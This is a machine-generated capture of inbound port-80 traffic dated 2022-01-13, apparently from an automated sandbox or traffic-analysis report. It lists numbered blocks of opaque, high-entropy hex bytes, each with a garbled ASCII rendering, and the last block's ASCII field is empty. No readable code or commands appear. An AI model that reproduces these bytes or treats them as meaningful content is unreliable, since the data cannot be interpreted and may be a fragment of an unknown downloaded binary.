2022-01-13 19:22:18 UTC	80	IN	Data Raw: 3a b4 f4 aa 6c 91 e5 36 5a f4 b4 30 d3 c9 26 79 3e 2c 57 67 5c f1 fa e4 e5 34 19 cd 30 10 1c 67 d5 91 b7 a8 0f d5 30 01 63 0f 15 79 b9 51 58 ed 46 c5 3b b6 ef de 13 c3 5c e5 6f 13 84 51 9d 36 a6 4c ce b2 32 d9 e1 a2 40 30 57 74 61 96 b2 67 0c a7 90 b0 ca 32 56 e9 63 1b 35 72 6f 4d 5e a6 0e 86 e4 77 71 2c 5a f2 8f 0e 91 a4 1d a9 9c ce 1b 2f de 8b 85 c9 b8 8a 88 15 ce bd 50 13 34 c2 84 4f 17 c6 07 d9 36 91 f6 08 b3 e6 3f 5d 48 8a cd c5 16 4b 4e c2 cb a6 4a d7 1a 38 38 70 af 00 00 e1 0a b2 2c 7a df 03 e4 ef 28 03 7a b5 11 aa 3c 52 49 a3 d7 00 be cc 84 52 62 d6 9c 13 4f f6 1d fc 5a fb ac 42 21 19 c7 69 1e cb c8 a0 1a 77 22 20 7e b5 bb 42 5e f1 c3 0d dd 19 8b c4 94 6e 35 77 7a a5 88 44 58 96 7d 60 ae 20 6b ba 06 04 f1 34 b5 0f 0a c2 75 b5 e0 9d 8b da f4 41 01 Data Ascii: :l6Z0&y>,Wg\40g0cyQXF;\oQ6L2@0Wtag2Vc5roM^wq,Z/P4O6?]HKNJ88p,z(z<RIRbOZB!iw" ~B^n5wzDX}` k4uA
2022-01-13 19:22:18 UTC	81	IN	Data Raw: d1 b1 0d d4 af cd d4 0f cd 76 a8 a4 19 8e 3f d1 ca e8 e9 6c 6f ff 54 b6 03 6a 83 af f3 d9 5f 29 8e 7f 2e cb 14 e5 fe 40 dc 53 41 59 aa 31 2a 02 b2 48 72 97 fb db 1f 40 50 bd 40 60 e1 0b cb 83 d9 b6 6f 6b fe e7 6b db 58 98 1f bc dc 72 e1 1e 60 0c 88 2a eb fb a9 72 6b 7e 0f 07 47 51 7f 28 18 e5 7e d3 83 32 a7 98 16 ec e5 2c 1a 7c ab 48 d8 9c 0f 7a bd e8 d8 32 f5 de 95 f5 76 18 33 24 08 ba de 9e ee 55 1f 5a 53 42 24 7e 51 38 44 91 19 db 1f fd 32 52 be 70 4f 4e db 14 ba 8c 3c c6 52 ce ec ad 40 4c ab 11 98 74 b6 25 1c 18 38 cd 29 8e 72 a8 f1 fe 25 10 0d d7 04 b0 9c 34 6a 23 93 f1 2d 96 c3 71 41 54 5c e7 35 92 82 5c 83 7b de 93 e5 26 d3 73 5b 9e aa 26 70 ab 4f 54 9f 67 81 c2 c5 4c 3f b8 42 d3 fa 46 de 82 aa 31 fa b8 ba c2 df 19 31 92 27 88 4e bc dc 9e 06 5e e0 Data Ascii: v?loTj_).@SAY1Hr@P@`okkXr`rk~GQ(~2,\|Hz2v3$UZSB$~Q8D2RpON<R@Lt%8)r%4j#-qAT\5\{&s[&pOTgL?BF11'N^
2022-01-13 19:22:18 UTC	83	IN	Data Raw: 51 34 fb 23 da fe 40 31 fb 0d 7a 8f 85 89 61 c7 a2 e0 bf 3d 90 63 ee 76 4e ca 25 96 e7 17 05 df 1a 31 57 d7 0f 16 b2 1f b7 d9 39 4f 8e d9 27 bc 5b 03 c6 0a 57 4c 48 49 3d 78 7a 5b 4f 0d ec 23 9f 5c 46 cd 3a ea 5c 5a 3a 90 73 69 60 90 80 8c bb 46 1b d8 35 8f 29 35 9f 27 a0 3b a2 0e 76 e9 2f 99 bb 39 33 7c 9b 97 63 97 d6 e0 81 c3 25 e0 54 b9 53 42 79 49 db b0 33 fc e4 6f 0f b5 ab ba a5 8a f4 03 3e 3b 46 05 bd 17 84 0d 6a b4 68 51 5d 64 5c ea 74 a7 ae 30 0b d8 e2 0c 42 83 d5 1f 84 dd 51 2d 1e 86 4e bb 5a f0 ee 43 b7 f6 55 3f 24 f7 cd c8 16 48 d9 3b 3b 14 5f 19 75 b9 21 90 69 1f 7f 69 02 d6 82 54 9e 5c 97 a1 1c 8c 71 45 5d 76 cf 7a 88 e7 e6 ec fe fa ef 2c a1 e6 f0 c6 d9 a7 ee c7 c8 59 01 2d a4 80 a1 f2 ee 56 f2 3a b0 cd 15 b0 3c 30 be 62 b8 40 33 90 0f 98 7f Data Ascii: Q4#@1za=cvN%1W9O'[WLHI=xz[O#\F:\Z:si`F5)5';v/93\|c%TSByI3o>;FjhQ]d\t0BQ-NZCU?$H;;_u!iiT\qE]vz,Y-V:<0b@3
2022-01-13 19:22:18 UTC	84	IN	Data Raw: 8c 1b ad 5e 27 a1 22 5a ac ff 9f 73 fc 0d 60 c0 94 b5 be 48 a7 dd 58 ed 7a fd 0f bf 40 4e 08 7c dc e3 b3 ba 28 13 a4 49 e3 90 1f 05 f1 8c 6b 78 b0 91 88 bb 43 a6 0b d3 d4 21 dd a2 15 d3 7e c4 7a 20 5c 4e d7 18 31 7c 81 db 09 22 99 4a 3d b2 4c 37 94 70 be c4 68 38 49 44 4f e7 e8 b5 b6 38 5d d4 bb 26 3e 20 27 82 29 ea ad ad ad ad bc 29 4a a5 78 77 78 55 f2 f8 f6 7d 5b 7c 2c e4 f2 3f b1 b8 9b 18 a8 5c 92 c6 33 da e0 92 73 3c c9 64 8b c9 d3 bc b0 c7 be 83 a3 cc 93 f1 65 09 26 62 31 4a af 10 88 0b be 8a 03 e7 cc 4f ef 2b 9b e1 17 db 09 6b f5 e0 d7 d6 7f c0 93 ba bc af d3 60 65 1d e8 b4 da 52 a2 b7 64 cf 26 31 64 18 b9 83 81 a8 18 a8 4f 4d 4f fd 7c 2c 7d 3a 29 c4 06 3e 2b 43 4d 88 11 9c a8 fd cb fe bd 58 7a 5b 62 fd 7f 29 ec cf e6 52 df cc 0f 0e f6 54 e2 95 ef Data Ascii: ^'"Zs`HXz@N\|(IkxC!~z \N1\|"J=L7ph8IDO8]&> '))JxwxU}[\|,?\3s<de&b1JO+k`eRd&1dOMO\|,}:)>+CMXz[b)RT
2022-01-13 19:22:18 UTC	85	IN	Data Raw: 08 a4 16 c9 07 36 0e d6 32 98 06 19 77 0f da 9c 1d 82 45 45 1c 7e a4 f8 86 29 25 84 51 31 39 56 d2 ec b0 24 10 42 02 0e a5 9b 11 02 fa 0a 14 ea b3 5e 36 26 01 29 83 af d4 87 46 5d 46 de 9c 1d 87 d0 89 c2 7a 69 59 8b 45 a3 8e 1f 71 d2 cb 15 7e c0 b3 d9 7e f5 00 1d 9a 3f ad 68 6b 01 aa 2d 85 cb 6c bc 72 67 57 0e ed 8f cd f7 2d f2 fa 7f da 92 75 2e dc 9c 0d 70 b9 ac 05 61 0f 07 7b 32 36 4e 40 0a ee 70 f2 17 27 3e 7e 2d a8 45 99 95 c8 b9 b4 1e fd b9 6a 23 97 51 47 d3 c2 a4 72 f9 5c 78 c7 ce 9d 07 23 1e 7f c7 26 66 2c 8e d7 03 bb 1e 77 b5 e5 38 98 70 c3 12 57 c1 03 47 f8 4a de ca f5 6f 43 c3 a7 66 cf 1a ce ad ac 6c fe b2 7d 42 7c d2 4f 04 df 5c e9 63 f1 e6 e7 79 f4 e8 19 d8 36 19 9e 4a d2 19 21 1a 74 1c 20 69 bd 1a 67 e7 36 bd 10 57 c3 14 2e e0 8d be 9b e2 31 Data Ascii: 62wEE~)%Q19V$B^6&)F]FziYEq~~?hk-lrgW-u.pa{26N@p'>~-Ej#QGr\x#&f,w8pWGJoCfl}B\|O\cy6J!t ig6W.1
2022-01-13 19:22:18 UTC	87	IN	Data Raw: 42 35 0f b9 37 17 dd 47 1d f8 e4 c0 bc 78 df 59 01 c3 32 1e 31 f3 78 d8 e4 e3 69 a0 70 c5 2c b5 7b 2e 07 31 3c c4 c5 b0 29 f4 07 33 3f c9 d1 6d 8b 91 f9 65 66 8e d6 93 97 ae 37 0b a0 77 9a 15 8b b2 81 b7 b9 14 26 99 80 3e 72 c2 30 7b 56 9f 3e a9 83 d6 9f 1b 5b 10 a0 0d 8e 3a 2b 1d 92 9b e8 ff 99 f1 99 96 7e 0b c3 0d 8f e4 37 c8 9b 16 58 f4 03 24 d5 11 aa 8f 85 82 2f 2a 68 94 30 6a 2a 66 eb 78 db b9 28 71 43 53 0c 48 ca e0 3b 16 32 ff d3 d0 ab b2 a5 ef d0 ff b2 7a b4 a5 f0 bc 67 19 22 3f b6 90 18 21 48 cb 3d fb d2 6b 68 fb 3f db 44 54 0d ab bb 1d 88 ec cf 15 9d fb 3e 50 be b0 cb 9d 83 cb 7c 2f 7d 45 b0 27 18 19 dd 82 2f 7d 3a 8d bc c4 7c dd 15 32 00 f3 94 63 97 88 2e e1 0e 3f f5 c2 70 c7 1d 00 df 59 05 83 a9 80 19 a8 f0 de ec e5 58 5b 08 cd 0e ab bd 45 4d Data Ascii: B57GxY21xip,{.1<)3?mef7w&>r0{V>[:+~7X$/h0jfx(qCSH;2zg"?!H=kh?DT>P\|/}E'/}:\|2c.?pYX[EM
2022-01-13 19:22:18 UTC	88	IN	Data Raw: 83 b5 b1 b2 36 41 da e7 25 c2 b3 b2 3c c3 8e 75 78 ef eb a1 34 7d 44 94 29 f6 dd f3 d5 84 96 c4 ed 68 fd 4b 26 71 97 46 c7 2c 70 14 b8 e6 d4 10 8c 1b fe 4b 4d cc f7 2a 98 8a ec 1d 63 1f e0 c3 ab 0a b9 f0 ad ba 9c 7b ae b2 88 4c dc 83 d2 c4 69 06 b9 3d bd 4c 97 9a ea da e0 cd 6a ea d7 52 d7 4b 4e c7 6a 7f 1b 9b a0 52 8f 2a f0 16 f0 b3 1d c0 6d fe 74 7f ae b0 33 38 91 9e e5 59 08 07 1e 3c 4f c3 ef 57 8b d1 1c 2b e3 ae 21 88 4b 54 a8 68 c7 69 7f 6b a7 85 ab c4 d8 73 36 14 4c 60 22 0e 18 83 f2 7f a7 0f cb c8 00 d5 38 8a dc f6 df 73 d7 27 13 d1 12 12 38 c4 a4 b5 01 33 0f 7d 58 1a 66 ec f3 bb d7 e1 77 b8 d5 01 b8 85 ab 4e b3 f1 54 08 51 42 64 f0 53 b6 5a a6 6d f6 a0 65 5e 95 48 2e 61 27 87 61 c7 14 11 cf 8c 98 29 d3 bf d0 b7 a5 24 67 9a 31 92 c7 1f 7b de 8d 09 Data Ascii: 6A%<ux4}D)hK&qF,pKMc{Li=LjRKNjRmt38Y<OW+!KThiks6L`"8s'83}XfwNTQBdSZme^H.a'a)$g1{
2022-01-13 19:22:18 UTC	89	IN	Data Raw: ab a2 07 2a c3 b6 33 93 54 24 0b 2f 4e 9e 1a 2f 34 39 f6 96 e1 ac 36 b5 0d b1 f6 e8 5e 04 b7 bf f0 b4 af 18 4f e7 10 17 96 09 9a 2b 83 23 1a 84 eb 6c 2b 6b 94 83 cd 67 44 db b9 c1 e7 2a 70 e4 59 df 9c b5 b6 ae 72 57 d8 0b 72 b8 38 78 37 3c 96 c9 6c f9 5a 8c 6f 61 da dc a9 30 4f 63 9a 30 2c 9f d2 c0 43 ec 84 df 4a c1 41 89 c3 50 d6 38 ec c7 da 4f 1b 8c fa ef 2f 9b ec 03 36 4d 8e c3 b8 3c 6b 5d 38 84 72 e9 e3 03 20 c0 86 5e be 68 38 35 c5 0e d3 44 6e 5c 58 2f 36 b4 27 80 ef 22 9f 86 51 28 18 5f 29 35 e5 3e 35 30 a6 7a be ca ee f9 d0 91 25 55 06 b2 3f a6 0b d1 f6 aa 2e 14 e0 52 bc 9c ea c5 40 2a 10 17 8c 5f 61 d1 a7 8a 36 bd dc e3 19 d3 6b 74 b7 fd c0 cc f3 52 b4 a0 70 b7 94 90 66 9a 2b 60 96 7b 24 e6 10 20 65 08 b5 de 32 af 33 f4 5b fd 56 ff de 05 49 d9 68 Data Ascii: 3T$/N/496^O+#l+kgDpYrWr8x7<lZoa0Oc0,CJAP8O/6M<k]8r ^h85Dn\X/6'"Q(_)5>50z%U?.R@*_a6ktRpf+`{$ e23[VIh
2022-01-13 19:22:18 UTC	90	IN	Data Raw: 5e 6c 30 83 03 c7 b4 dd a1 df d8 d9 e6 cc 8f f4 31 4e fe 24 f3 6f f5 39 45 ae 48 ca 45 8c 95 e6 4f 23 92 d6 72 0c cf 24 06 b1 0d 44 94 73 55 bc 26 72 b1 8f 60 1d 5d 14 23 00 e2 cd 9a df ec 1d 6e 44 f7 3c d7 63 27 76 16 e3 56 52 19 b3 0e b4 ea 0d 7f 99 cd cb 0f d3 09 7c 67 2e 6a 71 42 15 50 3c a6 71 28 31 10 e7 b5 30 c1 1c e4 32 ac df 9e 94 d9 ce 91 12 62 08 40 bb 16 11 ea b5 19 66 ba 6d 33 1f 16 b2 e6 98 fc f1 3f a9 c8 46 f9 96 12 93 1d e7 0f 0d 46 d7 60 39 42 ca ff f7 ab 81 4d 33 db 8a 6e 8d 14 90 e5 83 fe 72 ce 22 4a 96 51 ca 5d 43 25 43 0d 88 0d 17 0d 07 42 54 b4 3e fd bc 35 76 50 5c ff 65 e9 78 c7 e6 50 65 ea 9a ab 56 10 99 21 fa 7e 62 31 92 8b 56 76 76 db e5 e2 e0 a9 f9 d5 7f 94 28 7d b7 5e 44 64 51 f1 35 0b 54 11 6f 70 d7 74 a0 f5 8f f3 bb b1 20 0c Data Ascii: ^l01N$o9EHEO#r$DsU&r`]#nD<c'vVR\|g.jqBP<q(102b@fm3?FF`9BM3nr"JQ]C%CBT>5vP\exPeV!~b1Vvv(}^DdQ5Topt
2022-01-13 19:22:18 UTC	92	IN	Data Raw: 30 cd 95 91 e3 01 2a 44 ce a6 0e 5b 49 b9 85 85 7f 21 01 4d 26 79 2c 54 a0 74 bd 62 61 7b 8a 50 9a 13 72 0e 39 c3 58 f9 95 fd ea 01 f2 08 d7 78 d4 e4 a5 85 d9 1c f6 d1 05 4e c7 6c 29 5d 0b 9d 93 d3 d9 ed b2 4c cc f8 0e 0a fe 51 62 c4 8a 88 75 8f 0e 04 a4 f1 62 47 3a e0 e5 4b e3 08 2f 7b 43 53 dd e8 b1 ff 6e 2a 84 b8 30 4c 63 e1 9e 87 c0 98 f1 d7 bb cd 6c cb 96 90 93 18 50 81 44 83 44 be c4 91 6c 73 d4 04 b7 e1 67 ee 33 11 cf 2d ef 89 22 86 53 19 b0 c2 54 1a 64 df 6c 2e 80 c2 c4 9e 18 89 df 16 40 3a 6f d8 7b e5 60 21 5d 90 eb 1a 7b d5 8e 4a 06 3d cc ca d5 03 b8 32 a7 9a a6 12 4e d4 84 33 dd 57 f2 5b 7e b1 1a d5 31 86 4d 4e 90 7a c8 27 11 89 da 86 58 e5 25 fb dc 90 8b 68 96 76 3d f5 b7 1a ed 37 42 fc 30 12 cc 5d 68 8b 30 f7 a3 cb 0d 1e 75 2c 12 5e b4 69 45 Data Ascii: 0D[I!M&y,Ttba{Pr9XxNl)]LQbubG:K/{CSn0LclPDDlsg3-"STdl.@:o{`!]{J=2N3W[~1MNz'X%hv=7B0]h0u,^iE
2022-01-13 19:22:18 UTC	93	IN	Data Raw: 94 78 ae 90 33 85 62 64 94 7c bf 5f 1b ff 28 af b3 a7 3b d6 f6 45 99 80 d0 55 65 0f de 99 91 89 d5 fa e1 16 5e 4c 12 31 ce aa a1 54 b1 27 d9 56 26 84 94 3e a4 2b db cf 43 21 4c 1a 95 ea a4 69 25 4d 38 c4 c3 4a 5d f6 41 aa 8c 65 ed 1e 3c 4f a7 94 e3 97 0b 41 e0 e0 00 47 22 e7 2f 93 24 25 34 e6 60 a8 c3 bb da d8 cd 89 3f e8 c8 17 0a eb 27 1b 9c 59 38 36 ca 9a 7b d5 8c 4e d6 68 44 29 17 c2 c0 54 68 81 c1 fd 63 f1 3d cc f3 c4 82 9e 2b aa 4c 42 24 e7 cd 17 99 3d 06 68 de aa e9 24 5a 3d cd ce e9 ce fd 36 62 d6 6a 3f 08 77 7d 3a 47 9e bd 94 7d 38 53 b7 bd 4e 78 59 ae 73 34 77 39 61 c6 ce f3 51 1e 15 7d 5a 32 6d e9 e5 40 4b 59 be 33 99 e9 7a 92 ae 01 f2 14 57 38 39 c7 04 af a9 a2 0f c6 75 31 7d e1 e4 51 51 17 29 de 38 a4 6d 48 df 56 f9 99 8e 61 7c a6 53 48 e3 f2 Data Ascii: x3bd\|_(;EUe^L1T'V&>+C!Li%M8J]Ae<OAG"/$%4`?'Y86{NhD)Thc=+LB$=h$Z=6bj?w}:G}8SNxYs4w9aQ}Z2m@KY3zW89u1}QQ)8mHVa\|SH
2022-01-13 19:22:18 UTC	94	IN	Data Raw: 71 bf 4a de 8d 8c f7 a3 90 18 56 cf 7a a8 0a 2a 80 20 dc 4f 23 15 9a 8c 56 70 10 89 c5 48 d1 30 1f e8 b1 b5 d0 ef 2c 84 56 eb 9a d7 d6 85 cb 63 73 b2 9b 20 67 03 22 15 d6 d2 4c cc e9 87 60 2e 1e 7e aa 5d 2c 88 0c d6 e7 24 59 ad b8 33 23 23 9b 4a 17 b6 d3 69 0c 46 da 1a 8a 3f 5c fa 2e 78 5a de 9a 7d 34 e4 87 94 ec bb 5a e1 b7 2f 5c ff cb 6f 68 ee 28 96 bb 51 4c ce e2 8d 68 83 d4 6c 35 35 96 61 7f 5c 4b 9e 69 82 a0 30 74 02 c2 03 67 89 cb 6f 1a f7 bf 8a 30 6d dc 7f 08 b4 24 7c be cc f6 56 28 e3 2f e7 23 ff d9 92 24 5d e4 e3 37 08 ff ff 3c 74 82 d4 be ca 32 a1 12 b4 33 9d 83 c9 02 c9 75 25 46 1d 94 f8 a5 37 4b 8a 27 55 f7 d2 e5 2c e1 5c 90 2d cb c3 a7 52 ab fa 5a 7f 2a c6 c9 77 20 0c 0e 22 17 bc df 78 cd 74 b1 00 76 d9 ea 33 5d 7d 22 7e e3 63 a1 cb 06 fb d7 Data Ascii: qJVz* O#VpH0,Vcs g"L`.~],$Y3##JiF?\.xZ}4Z/\oh(QLhl55a\Ki0tgo0m$\|V(/#$]7<t23u%F7K'U,\-RZ*w "xtv3]}"~c
2022-01-13 19:22:18 UTC	96	IN	Data Raw: 01 7b 53 c0 1e 12 58 fb d0 f6 2b 78 b7 b3 54 02 c3 58 e5 3d 3e 1e 03 56 4e 7d ba a2 17 c9 75 ac f7 c5 45 a9 43 db b6 fe 3d 1f cd 6c 8d f8 4e 4b b1 b7 bb 81 cd 6b 07 2f 66 66 8f 48 62 f8 59 6f 0f b7 bc 08 df 83 24 10 5d 65 1b fb 5e 22 7f da 3f 72 c3 ef f1 50 68 56 fb c0 c2 a3 c4 22 e0 25 38 6e e7 80 be 0e 40 fe a2 0f c1 f3 72 62 2c 32 69 b2 87 b1 b4 39 b1 d8 f0 11 6b 9d f7 d0 ec bb 30 04 ac 26 29 9f e9 b7 71 54 96 67 11 dd 43 01 31 9a d1 73 36 87 56 f4 5c 59 d7 66 f9 86 3d 3f 54 80 56 6a 29 87 d0 46 1b 65 16 1c e4 bf 4b ee 9a e3 69 02 d5 04 a1 4a c3 57 7e 0b 0a db e4 7f ac cc 8d ec b3 b0 81 2a 26 64 9b fe 35 0b 21 f0 da 8d 29 97 f8 42 d5 a3 f5 67 96 8f eb 3e 37 a1 11 54 24 6a 92 78 e7 20 74 b5 b8 5f 65 27 07 37 ae 80 fd c7 73 2b 92 16 fb 7e 6f 14 4a c6 a6 Data Ascii: {SX+xTX=>VN}uEC=lNKk/ffHbYo$]e^"?rPhV"%8n@rb,2i9k0&)qTgC1s6V\Yf=?TVj)FeKiJW~*&d5!)Bg>7T$jx t_e'7s+~oJ
2022-01-13 19:22:18 UTC	97	IN	Data Raw: 75 3a 27 f8 2a 1e 91 1c 6d 10 e5 bc 76 55 65 12 51 e7 e4 ab dc 8a 27 0d c5 4d c3 b7 c7 00 a8 18 fd 60 2d f9 8c 24 38 2a 7e fc 57 81 33 9d 9b 4a 06 da 1c 18 8e 0c e8 1b 5c f0 be c6 ad a7 83 75 28 00 05 9b 44 bb 56 f4 49 f8 88 4f 2d 88 6a 1f fe 5a 72 ce f4 3c 8b 74 5f 7b 3f ae 4e b0 29 45 03 3c 32 a0 d7 6a 28 d2 9b 4b 12 4a db 1c c4 3f b3 0c 8f af d4 96 0f df 5a 80 4a cb 85 03 47 17 1b e8 a6 0c 5a a1 2c 37 ec 7d 2b bd 21 e9 a5 52 57 54 ea b7 f4 56 d3 13 7c a4 ab b0 c9 74 b0 2b e7 ae fb 8b df 0c 40 2f fc fd 38 ee b9 4e c7 1c 38 8a f6 9b f6 4d 58 e0 f2 b9 5a f3 80 ad 33 2b 53 12 41 c7 ba 7d 22 f2 5f 77 2e cf 97 21 f2 49 4b b6 34 01 ba b3 7b 6c ed 50 c0 76 24 6e 87 70 e9 4d f3 29 48 a6 8a ba ba b5 af 38 52 de 88 ba 00 2d 26 c4 b4 4d 5d 71 9c da d6 eb a0 71 2f Data Ascii: u:'mvUeQ'M`-$8~W3J\u(DVIO-jZr<t_{?N)E<2j(KJ?ZJGZ,7}+!RWTV\|t+@/8N8MXZ3+SA}"_w.!IK4{lPv$npM)H8R-&M]qq/
2022-01-13 19:22:18 UTC	98	IN	Data Raw: 6e 1b 90 33 e6 f5 8a 0e 13 bc d5 a3 42 33 93 54 24 0b ba c2 6c 11 dd 1f 5f b0 40 dc 5c 8f 50 db 14 4a c1 c0 6c 13 bc 9e 60 a4 46 92 3a 41 b9 a1 40 3a 21 44 e2 e1 72 bf 06 3d b5 b5 0c 80 35 27 34 61 96 53 50 ca e5 89 8c dd 6a d4 98 2e 52 97 a1 f5 c6 8d 2f 8c 4d e0 4f 23 98 7b d1 8d fe 56 5c 25 8c eb ec de 74 61 60 f8 54 72 4d a4 6f 57 03 6f 5f 2f cf 15 c6 31 4c de 96 cc 33 ef 5b 77 4d d2 e0 91 0a 78 c8 5d b9 25 14 b3 be d7 17 7c 5b 8e 06 ef 43 ed 67 54 b7 d2 ec c3 98 76 a9 2e c1 25 9b f4 4a 32 10 51 b9 94 15 38 e6 f9 8a f0 fe de f3 89 b2 67 58 a7 d5 07 2b 82 96 66 98 c8 3d cb 01 31 ba 36 07 31 28 d9 65 eb e2 c6 66 2c e1 9e 64 d5 02 f6 04 f5 82 3a 2c 37 76 b2 31 27 3b d2 85 ce 3a da 84 55 df df 63 b7 6e c2 20 f9 2d 38 9c 6a f6 a1 89 db 05 33 2d 3d f5 c5 56 Data Ascii: n3B3T$l_@\PJl`F:A@:!Dr=5'4aSPj.R/MO#{V\%ta`TrMoWo_/1L3[wMx]%\|[CgTv.%J2Q8gX+f=161(ef,d:,7v1';:Ucn -8j3-=V
2022-01-13 19:22:18 UTC	100	IN	Data Raw: c8 38 55 39 fa 8e 1d 0e a4 16 3a 4d d1 f2 dc 30 ae 57 7b 94 46 ac 8d f8 31 00 e2 fe 2c 1f 0a bf 5d 64 64 42 3e d7 dd 49 40 75 75 ec d9 0d ee aa 27 eb 7f 27 80 40 47 2f 99 ff 30 d3 0e 94 74 ef 7c 74 8a 9c 45 28 a0 13 4a b5 cf 06 ef ca dd db 15 da 97 eb 91 40 f5 19 e7 54 36 7b 2b 87 c0 71 b4 2d 8e 67 13 6a 5a 16 27 fe 86 d8 42 45 9f 88 57 70 ad 75 ca a0 06 17 c7 dd ab 60 f0 0a f5 fd 8d b5 fa 9c 3e 49 eb 2c e3 0b d1 70 a9 94 07 65 13 c0 db 16 c5 e4 bb 53 56 f8 04 aa 4f 83 23 fd d9 19 ca e9 28 02 a4 05 79 47 5c f5 6f 8b c9 78 b4 21 91 eb af a5 87 d8 21 b7 dd ff 11 bb f3 e5 28 be df 42 ce 58 96 10 1a 1d 26 9b 6e a5 5a eb 45 cd 43 52 e3 1c 67 08 b9 9b dc e6 21 48 65 1d f8 53 53 e2 21 b0 0e 17 d0 dc cc 48 ed 73 ea 76 e2 23 3e 45 03 5b d2 f9 5c 1b 80 fc 6f b4 d7 Data Ascii: 8U9:M0W{F1,]ddB>I@uu''@G/0t\|tE(J@T6{+q-gjZ'BEWpu`>I,peSVO#(yG\ox!!(BX&nZECRg!HeSS!Hsv#>E[\o
2022-01-13 19:22:18 UTC	101	IN	Data Raw: 9b 63 08 ad b0 2a d5 cc ee b5 ba 50 2a 11 1e b2 30 0a e9 24 dd 32 ee 9d 76 8c 57 fc 99 2a 10 5a ec 22 f3 c0 17 ec ad 47 82 b5 8e b2 78 95 52 9c 09 97 9c 08 59 38 24 ac e7 2c 13 8f e9 8f dc 77 07 cf 48 c7 fd 0d 17 d9 01 23 32 23 fd 7f 54 68 b7 6f 4c ea 09 2e 86 9e 96 96 62 28 bc de 18 87 ca 0e 99 36 02 af a8 8d 83 c7 be 02 a1 9d e3 09 af fe 5d a5 b2 34 88 ba ba e0 44 6c bf ef 40 23 57 7b c3 4a 4b 52 db d3 aa ee ba d5 78 19 64 84 9c c3 5b 78 5d 79 a4 5c ed a1 4b 44 16 80 16 73 8e b9 e7 6a 83 03 19 c3 c5 ed 3c 84 ff da 22 26 6c 3b 85 47 7d ec 7e a2 0f 95 eb c4 ee b0 b3 79 ec a2 08 b0 98 a0 0b 66 58 6b 32 d5 36 39 39 4e d8 25 46 cd a1 a8 03 b8 4b 5e 6d 52 d4 51 d4 ea 01 34 6b 64 24 88 46 dd 1d 7b b6 44 97 99 e4 97 60 74 a3 8b c4 7e 5e 80 53 81 5f ce 87 45 f8 Data Ascii: cP0$2vW*Z"GxRY8$,wH#2#ThoL.b(6]4Dl@#W{JKRxd[x]y\KDsj<"&l;G}~yfXk2699N%FK^mRQ4kd$F{D`t~^S_E
2022-01-13 19:22:18 UTC	102	IN	Data Raw: 64 58 5d ea 43 50 30 af 6e 26 bc 20 c1 fc bd 8f 03 ee 05 85 72 14 94 d1 b7 0f 39 41 53 9b 1c bb a0 ed da 66 55 dd d5 cb d4 1f 05 fa e9 fd 63 ee 47 f8 93 54 28 af 5b 9d 67 d6 3e e6 4d e6 49 ab 7c 04 91 08 5e 13 64 47 ab 9d 37 17 69 f3 03 cd 58 08 5f 91 55 bb aa 07 d9 f8 a0 e1 c5 b6 0e f6 a6 f8 a2 d7 bf 78 05 81 7e 4f 83 23 d9 bb ad 4c 7f 0a 53 69 fa bc 7a 0d 10 fe 5c 1f 59 d9 ea 7b 80 5e 44 d8 29 32 d9 ed 2c ed d7 e6 4e 19 68 94 82 f7 23 05 ec 5c ea 40 d2 1f 0d 18 e6 b8 d9 bb fd 3c b8 e7 79 5a 3b 2c eb b5 20 93 e0 89 c2 d4 be dd b3 fc 2e 87 0a 14 db 18 c3 e1 13 72 14 6c 99 f8 92 ae 22 71 b2 28 e7 89 35 fe ec b7 bc 36 e0 36 5d 61 b6 22 69 ff 4d 96 6d 2c e9 98 9e 7d ad 13 d3 00 7e cd 12 88 f9 ac 2b 92 78 af d7 cd 8a 5f 04 66 63 1e 76 ad a7 8f e9 09 3f 98 ab Data Ascii: dX]CP0n& r9ASfUcGT([g>MI\|^dG7iX_Ux~O#LSiz\Y{^D)2,Nh#\@<yZ;, .rl"q(566]a"iMm,}~+x_fcv?
2022-01-13 19:22:18 UTC	104	IN	Data Raw: f7 47 43 b6 d2 24 0d 54 98 7d 5c ef c6 c8 e0 82 ab 6e 80 d6 60 ea 18 81 9f e7 bf 37 de 06 01 22 12 ee 52 a6 bd fe 58 81 8c 5a bf 51 58 c0 48 2c 1a c5 64 c6 0e 92 59 0b 48 3a 44 ad bb f0 ab c3 2a 71 80 1f 90 c2 6e 84 0d aa 31 14 3f b7 b4 91 1f f0 31 a0 5b df ac 27 58 93 ff 48 ad 1d e4 13 15 d7 db e7 2e 8c 5c a7 98 a1 37 b2 65 1b bd 4a 8f 5a 09 40 76 c1 b8 f3 8f 8a 08 16 ec c1 06 a1 62 9f 93 51 13 d4 1d 95 e0 61 53 16 f8 39 47 e3 f7 c1 f4 ae 34 1b 10 7e 5c 15 ca ad 23 88 8b a9 25 f9 d5 9c 02 2b d2 f1 f0 a3 8c 4a 7b 2b d4 ab b8 dc 66 93 b3 9d 9c 77 95 3c 28 72 34 ff df 17 1e 09 30 0a 0e 99 f3 c0 0c 11 64 83 23 c0 9e fc fb ab a2 4f 28 9e eb 26 04 cf 63 94 05 3d b6 97 44 27 1e 00 19 2f 4b 47 27 e2 07 53 5d 67 95 1e 60 87 d7 e7 56 f8 4e 67 c9 15 c8 3b e1 bf 46 Data Ascii: GC$T}\n`7"RXZQXH,dYH:D*qn1?1['XH.\7eJZ@vbQaS9G4~\#%+J{+fw<(r40d#O(&c=D'/KG'S]g`VNg;F
2022-01-13 19:22:18 UTC	105	IN	Data Raw: a0 f9 f5 9e 5d d8 fb de c8 43 82 00 69 80 39 d3 89 ea f9 89 7d 5a 81 92 28 93 cd 32 d7 ad 99 86 45 38 8f e3 ff dc ca ed 31 97 94 01 78 f1 3c 29 99 e4 5e f4 df af 0a be de 81 b1 d2 3f 56 7a a6 12 5f 7a aa 66 ef 21 e2 67 2f dd 19 c4 c1 4a a6 b4 a9 0b c9 63 0f b0 62 10 d4 54 e8 a0 0b d2 4e bd 53 50 4e 59 15 9e 01 be 7b a0 19 d2 f7 ab e4 a1 ca db 1e 76 ca 93 4d f2 d6 8b d1 66 e7 77 25 01 24 64 99 62 69 89 dd 07 22 cf a4 9c b5 6a dd 7e 0b 37 e4 d5 da 32 ed ab a6 04 b1 57 83 02 ea a6 b4 f3 35 31 90 66 9d fc 5f 14 32 04 bc 26 a1 8e 12 e1 84 ed 2b 95 f5 ac 58 e8 f4 3d ac 2d 29 31 22 e0 92 63 16 ba 11 c3 2e 17 93 9a 7d 21 59 c0 7a a6 06 b3 d0 e9 95 8b d0 f1 a3 e6 3c bc c4 b0 2d 85 d9 c8 ff dd 03 54 70 48 27 ed 36 11 a8 b0 c5 c6 ad ae 3f aa 35 8e f9 aa 86 30 0d 1a Data Ascii: 